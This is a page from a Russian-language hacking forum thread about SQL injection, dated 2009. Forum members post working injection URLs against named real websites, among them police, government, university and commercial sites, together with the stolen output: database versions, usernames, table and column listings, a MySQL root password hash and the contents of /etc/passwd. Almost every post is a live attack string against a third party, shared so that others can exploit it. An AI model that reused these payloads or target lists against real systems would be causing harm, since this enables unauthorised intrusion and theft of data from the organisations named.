SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 534 of 798
  1. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    southserbia.com pr3
    Карты городов южной сербии? нифига по ихнему не понимаю
    Code:
    [COLOR=Olive]http://www.southserbia.com/map/index.php?promo=null+union+all+select+null,null,null,null,null,null,null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null,null,null,null,null,null,null,null,null,null,null,null,null,null[/COLOR]
    5.0.45-log/southse_com@[email protected]/southserbia_com
     
    #10661 Dyxxx, 17 Sep 2009
    2 people like this.
  2. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    263
    Likes Received:
    109
    Reputations:
    18
    Code:
    http://www.aware.ie/literatureItem.php?id=-31+UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,7--
    [email protected] : aware : 4.1.22-community-nt
    есть таблы с картоном)
     
    #10662 Shadrin, 17 Sep 2009
    Last edited: 17 Sep 2009
    1 person likes this.
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    http://www.aldaniti.net/

    POST
    Code:
    email_zp=' or 1=1/*@antichat.ru&pass_zp=password
    thx ElteRUS
     
    #10663 mailbrush, 17 Sep 2009
    2 people like this.
  4. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Illinois General Assembly
    Code:
    Microsoft SQL Server 2005 - 9.00.3310.00 (Intel X86) Dec 19 2008 00:58:18 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
     
    #10664 ILYAtirtir, 17 Sep 2009
    5 people like this.
  5. ph4nt0m

    ph4nt0m Member

    Joined:
    10 Aug 2009
    Messages:
    11
    Likes Received:
    15
    Reputations:
    0
    iem.com Pr4

    Количество полей, вывод:
    Code:
    http://www.iem.com/NewsArticle.php?news_id=-53+union+select+1,2,3,4,5,6,7,8--
    далее:

    PHP:
    http://www.iem.com/NewsArticle.php?news_id=-53+union+select+1,2,3,4,USER(),DATABASE(),7,8--
    ось:
    OS : Windows NT VMWEBSRV 6.0 build 6001
    Server : Microsoft-IIS/7.0
    User : IUSR
    pwd : C:\inetpub\wwwroot
     
    #10665 ph4nt0m, 17 Sep 2009
    Last edited by a moderator: 17 Sep 2009
    6 people like this.
  6. hackmon

    hackmon Member

    Joined:
    16 Sep 2009
    Messages:
    58
    Likes Received:
    40
    Reputations:
    2
    Code:
    http://www.caddealer.com/greenit/news.php?id=-1+union+select+1,2,3,4,5,6,7--
    версия
    Code:
    5.0.45
     
    #10666 hackmon, 18 Sep 2009
  7. IgAlex

    IgAlex Member

    Joined:
    17 Nov 2008
    Messages:
    36
    Likes Received:
    27
    Reputations:
    8
    www.rakebacknetwork.com
    Code:
    http://www.rakebacknetwork.com/featuredsites.php?id=-1%20union%20all%20select%201,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    4.1.20-community-nt:rakebacknetwork:rakebacknetwork@localhost
     
    #10667 IgAlex, 18 Sep 2009
  8. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    заказывал сигары, и чот решил посмотреть :( короче шоп сигар, крутите кому надо
    Code:
    http://www.bestcigars.ru/shop.php?typeid=1&subtypeid=2&brandid=-1+union+select+1,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+limit+215,1+--+
     
    #10668 it's my, 18 Sep 2009
    Last edited by a moderator: 18 Sep 2009
    4 people like this.
  9. hackmon

    hackmon Member

    Joined:
    16 Sep 2009
    Messages:
    58
    Likes Received:
    40
    Reputations:
    2
    Code:
    http://www.brokenpencil.com/deathmatch/2008/view.php?id=2 +union+select+1,2,3,4--
    database brokenpe
     
    #10669 hackmon, 18 Sep 2009
    3 people like this.
  10. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    263
    Likes Received:
    109
    Reputations:
    18
    pr5
    ponte_barca@localhost : ponte_barca : 4.1.22
    Code:
    http://www.pontedabarca.com.pt/destaque.php?id=-183+UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7--

    it's my за свои деньги еще и травиться,раньше паровозил,щас не жалею что бросил.
    странно что за 2 года дыру так и не залепили
     
    #10670 Shadrin, 18 Sep 2009
    Last edited: 18 Sep 2009
    3 people like this.
  11. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    МВД [Министерство внутренних дел]


    Code:
    http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,5,6,7+--
    Code:
    http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7+--
    version:5.0.51a
    db:mvd
    user:mvd@localhost
    OS:suse-linux-gnu

    Tables:
    Code:
    http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,table_name,6,7+from+information_schema.tables+--
    anons
    datamvd
    gibdd
    info
    mail
    memorial
    news
    orientirovki
    pamiatki
    rozisk
    service
    yhastk
    yvdovd


    Code:
    http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,COLUMN_NAME,6,7+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='mail'+--
    Structure of several tables

    ->mail:
    Code:
    [COLOR=White]+--------------------+[/COLOR]
[COLOR=White]|[/COLOR]id [COLOR=White]|[/COLOR] service [COLOR=White]|[/COLOR] email[COLOR=White]|[/COLOR]
[COLOR=White]+--------------------+[/COLOR]

    ->yhastk :
    Code:
    [COLOR=White]+-----------------------------------------------+[/COLOR]
[COLOR=White]|[/COLOR]id [COLOR=White]|[/COLOR] name [COLOR=White]|[/COLOR] email [COLOR=White]|[/COLOR] tel [COLOR=White]|[/COLOR] flag [COLOR=White]|[/COLOR] raion [COLOR=White]|[/COLOR] region[COLOR=White]|[/COLOR]
[COLOR=White]+-----------------------------------------------+[/COLOR]
    ->service:
    Code:
    [COLOR=white][COLOR=White]+--------------------------+[/COLOR][/COLOR]
[COLOR=White]|[/COLOR]id [COLOR=White]|[/COLOR] title [COLOR=White]|[/COLOR] text [COLOR=White]|[/COLOR]priznak[COLOR=White]|[/COLOR]
[COLOR=white]+--------------------------+[/COLOR]
    ->datamvd:
    Code:
    [COLOR=White]+-----------------------------------------------+[/COLOR]
|id [COLOR=White]|[/COLOR] name[COLOR=White] |[/COLOR] path [COLOR=White]|[/COLOR] prikaz [COLOR=White]|[/COLOR] id1 [COLOR=White]|[/COLOR] data [COLOR=White]|[/COLOR] razmer[COLOR=White]|[/COLOR]
[COLOR=White]+-----------------------------------------------+[/COLOR]
    ->info:
    Code:
    [COLOR=White]+---------------------------+[/COLOR]
[COLOR=White]|[/COLOR]id [COLOR=White]|[/COLOR] text [COLOR=White]|[/COLOR] priznak [COLOR=White]|[/COLOR] title[COLOR=White]|[/COLOR]
[COLOR=White]+---------------------------+[/COLOR]

    //that's all
     
    #10671 L I G A, 18 Sep 2009
    10 people like this.
  12. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    accel.com pr7
    Сообщество буржуй-предпринимателей :)
    Code:
    [SIZE=2][COLOR=Olive]http://www.accel.com/news/news_one_up.php?news_id=null'+union+all+select+null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null+--+
Второй сервер:
http://careers.accel.com/jobdetail.php?jobid=27063+and+substring(version(),1,1)=5[/COLOR][/SIZE]
    5.0.84-rs/accel_outty@localhost/Web_Admin_Live
    второй серв 5 мускул, юзер 5vlmysqluser

    ps/ всё в дырках
     
    #10672 Dyxxx, 18 Sep 2009
    5 people like this.
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    PR 6
    Code:
    http://www.planetfriendly.net/volunteer/vld.php?id=-7669+union+select+version(),2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77/*
    Database Version: 4.1.18
    Database name: db376790
    User name: db376790@localhost

    --------------------------------------------------------------------------------------------------

    Code:
    http://www.grosnor.com/main.news.php?NID=-541+union+select+1,unhex(hex(version())),3,4,5,6,7,8,9/*
     
    #10673 Skofield, 18 Sep 2009
    3 people like this.
  14. xena-mil1

    xena-mil1 Elder - Старейшина

    Joined:
    17 Oct 2006
    Messages:
    13
    Likes Received:
    21
    Reputations:
    0
    http://your.kingcounty.gov/solidwaste/facilities/cedar-transfer.asp?MaterialID=-1+or+1=system_user--&ID=-1+or+1=system_user--
    system_user=rrd_public
    http://apps.ecy.wa.gov/shorephotos/scripts/photosearch.asp?id=%27+or+1=system_user--
    system_user=wsphoto_r
    http://www-records.ncsu.edu/Grade/grollchk2.asp?prefix=%27+or+1=system_user--
    system_user=web
    http://www.it.unr.edu/detail.asp?id=-1+or+1=system_user--
    system_user=web_dbreader
    http://www.fisk.edu/page.asp?id=-1+or+1=system_user--
    system_user=newwebuser
    http://www.idwdra.iupui.edu/nav.asp?id=%27+or+1=system_user--
    system_user=aspreader
    http://www.ocgi.okstate.edu/shpo/shpopic.asp?id=-1+or+1=system_user--
    system_user=shporead
    http://www.globalplatform.org/content.asp?id=%27+or+1=system_user--
    system_user=VZW372
     
    #10674 xena-mil1, 19 Sep 2009
    6 people like this.
  15. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.r-and-p.ru/page.php?l=ru'&id=-1+union+select+1,2,3,4,5,6,7,version(),9--

    4.1.25-log
     
    _________________________
    #10675 HAXTA4OK, 19 Sep 2009
    4 people like this.
  16. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.ford-frenn.lu/scripts/auto.php?id=99999999999%20union%20select%201,2,3,group_concat%28table_name%29,5,6,7,8,9,10,11,12,13%20from%20information_schema.tables%20--
     
    #10676 Assembler, 19 Sep 2009
    2 people like this.
  17. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Официальный сайт Николая Валуева

    http://box-way.ru/news/view/509+union+select+1,2,3,concat_ws('%20:%20',user(),database(),version()),5,6/

    user: [email protected]
    database: boxway37
    version: 4.0.27-max-log
     
    #10677 InFlame, 19 Sep 2009
    2 people like this.
  18. DFrost

    DFrost Member

    Joined:
    5 Jun 2009
    Messages:
    18
    Likes Received:
    23
    Reputations:
    0
    Какой-то метал-сайт.
    ----------------------------------------------------------
     
    #10678 DFrost, 19 Sep 2009
    1 person likes this.
  19. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    bubbygames.com -
    http://www.bubbygames.com/game.php?id=1/**/anD/**/1=7/**/uniON/**/seLECT/**/version(),2,3,database(),user(),6,7,8,9,0,1,2/*
    version - 4.0.15a
    database - bubbygames
    user - root@localhost

    mysql.user - on
    user - root
    password - 0abf9cbc2164d167

    http://www.bubbygames.com/game.php?id=1/**/anD/**/1=7/**/uniON/**/seLECT/**/user,2,3,password,load_file('/etc/passwd'),6,7,8,9,0,1,2/**/FROM/**/mysql.user/*

    root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0perator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:pOP:/: nobody:x:99:99:nobody:/: donotreply:x:1000:100::/home/donotreply:
     
    #10679 [x60]unu, 20 Sep 2009
    Last edited: 20 Sep 2009
    2 people like this.
  20. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    263
    Likes Received:
    109
    Reputations:
    18
    пр5
    Code:
    http://www.oklinne.nu/main/showpage.php?id=-1490+UNION SELECT 1,2,3,4,5,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),7,8,9,10--
    [email protected] : a0416600_db1 : 4.0.27-standard
     
    #10680 Shadrin, 20 Sep 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 534 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.